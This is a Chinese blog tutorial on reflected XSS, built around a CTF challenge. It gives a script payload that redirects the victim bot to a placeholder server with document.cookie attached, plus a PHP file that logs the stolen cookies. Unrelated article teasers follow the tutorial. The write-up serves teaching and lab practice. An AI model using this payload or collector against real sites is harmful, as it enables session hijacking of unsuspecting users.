反射型XSS--理论

embedded/2024/11/14 11:16:58/

什么是XSS?

XSS(Cross Site Script),即跨站脚本攻击。

攻击的基本过程:

  1. 攻击者在Web页面里插入恶意的js代码;
  2. 用户浏览该页面时,嵌入界面的恶意代码被执行;
  3. 攻击者达到攻击目的。

XSS的三种类型:

  1. 反射型XSS
  2. 存储型XSS
  3. DOM型XSS

今天我们讲反射型XSS相关内容。

什么是反射型XSS?

攻击者事先在Web页面中植入恶意代码,一般是攻击链接。
当用户进入页面时,恶意代码不会自动执行,而是需要用户自己去点击链接后,反射型XSS攻击才会进行。

理论就是这么多,接下来我们举几个实例,来熟悉反射型XSS攻击的原理与恶意代码的形式。

实操环节!

注意看,这个题目叫反射型XSS:
在这里插入图片描述
当我们在祝福语文本栏写下内容,再点击生成链接,下方就会出现我们输入的内容。
例如输入Wh1teR0se:
在这里插入图片描述
页面既然回显了我们输入的内容,说明这个内容被写入了网页的HTML中。
查看源代码,果然发现我们输入的内容:
在这里插入图片描述
那我们就可以设想,既然输入的内容被写入了HTML中,那我们输入js代码,代码自然也会被写入HTML,网页不就能执行我们写入的代码了吗?
输入代码:<script>alert(1);</script>
在这里插入图片描述
js代码果然被执行。
那么我们输入恶意代码,获取“用户”的Cookie。
这里是一道CTF题目的靶机,当然不会有别的用户,这里的“用户”指的是网站配备的BOT,一般在XSS题目中,都会配备一个BOT来模拟用户的访问。所以我们输入恶意代码后,该BOT就会自动触发我们的恶意代码。

<script>location.href="http://xx.xx.xx.xx/flag.php?cookie="+document.cookie</script>

location.href是页面跳转属性,后面是要跳转到的页面。
document.cookie读取页面Cookie。
xx.xx.xx.xx是自己的服务器。这里不能用127.0.0.1,因为本地服务器只有你自己能访问到,其他人是不能访问的,自然也就不会成功重定向到你的服务器。没有服务器的需要自己搭建一个服务器。

代码作用就是当用户进入我们植入js恶意代码的页面后,将被重定向到我们指定的URL,并且我们能获取到该用户的Cookie。

//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

该文件的作用是将cookie保存在cookie.txt文本文件中。

输入恶意代码后,成功跳转到自己的服务器。这时查看文本文件。
在这里插入图片描述得到flag.

反射型XSS的基本攻击原理就是这样,希望你能学会。


http://www.ppmy.cn/embedded/137217.html

相关文章

JavaEE进阶----SpringMVC(三)---响应的获取

文章目录 1.cookie和session获取1.1servlet写法获取1.2spring获取cookie1.3传统方法获取session1.4sring获取session内容 2.访问静态页面3.一个项目部署多个服务4.responsebody的介绍5.返回html的片段6.不同相应content-type类型6.1text/html类型6.2application-json类型6.3 js…

IEC60870-5-104 协议源码架构详细分析

IEC60870-5-104 协议源码架构 前言一、资源三、目录层级一二、目录层级二config/lib60870_config.hdependencies/READMEexamplesCMakeLists.txtcs101_master_balancedcs104_client_asyncmulti_client_servertls_clienttls_server说明 make这些文件的作用是否需要导入这些文件&a…

『VUE』24. 组件事件之子组件传递数据给父组件(详细图文注释)

目录 测试回调函数使用回调函数拿到数据黄色警告的解决总结 欢迎关注 『VUE』 专栏&#xff0c;持续更新中 欢迎关注 『VUE』 专栏&#xff0c;持续更新中 测试回调函数 子组件中click"clickEventHandle",通过this.$emit("someEvent");表示在父组件的some…

微软日志丢失事件敲响安全警钟

NEWS | 事件回顾 最近&#xff0c;全球最大的软件公司之一——微软&#xff0c;遭遇了一场罕见的日志丢失危机。据报告&#xff0c;从9月2日至9月19日&#xff0c;持续长达两周的时间里&#xff0c;微软的多项核心云服务&#xff0c;包括身份验证平台Microsoft Entra、安全信息…

WSL2 中大模型环境一步到位!(wsl --update 不好使/wsl2安装/python环境)

前言 需要在WSL上玩深度学习&#xff0c;需要以下几个条件 win11&#xff0c;最好更新到最新版本电脑上有显卡&#xff0c;Nvdiawindows上安装显卡驱动及CUDA和CuDNN安装WSL2WLS2安装好Ubuntu20.04&#xff08;其他版本大概率有很多坑&#xff09; 在进行前在你的 cmd 执行下…

使用Python Flask构建Web应用

Flask 是一个轻量级的 Python Web 框架,以其灵活性和易用性受到开发者的喜爱。本文将详细介绍 Flask 的基本概念、安装方法、路由和视图函数、模板引擎、表单处理、数据库集成等内容,并通过一个具体的示例来展示如何使用 Flask 构建一个简单的博客应用。 1. Flask 概述 Fla…

「IDE」集成开发环境专栏目录大纲

✨博客主页何曾参静谧的博客&#x1f4cc;文章专栏「IDE」集成开发环境&#x1f4da;全部专栏「Win」Windows程序设计「IDE」集成开发环境「UG/NX」BlockUI集合「C/C」C/C程序设计「DSA」数据结构与算法「UG/NX」NX二次开发「QT」QT5程序设计「File」数据文件格式「UG/NX」NX定…

显示器接口种类 | 附图片

显示器接口类型主要包括VGA、DVI、HDMI、DP和USB Type-C等。 VGA、DVI、HDMI、DP和USB Type-C 1. 观察 VGA接口:15针 DP接口&#xff1a;在DP接口旁&#xff0c;都有一个“D”型的标志。 电脑主机&#xff1a;DP(D) 显示器&#xff1a;VGA(15针) Ref https://cloud.tenc…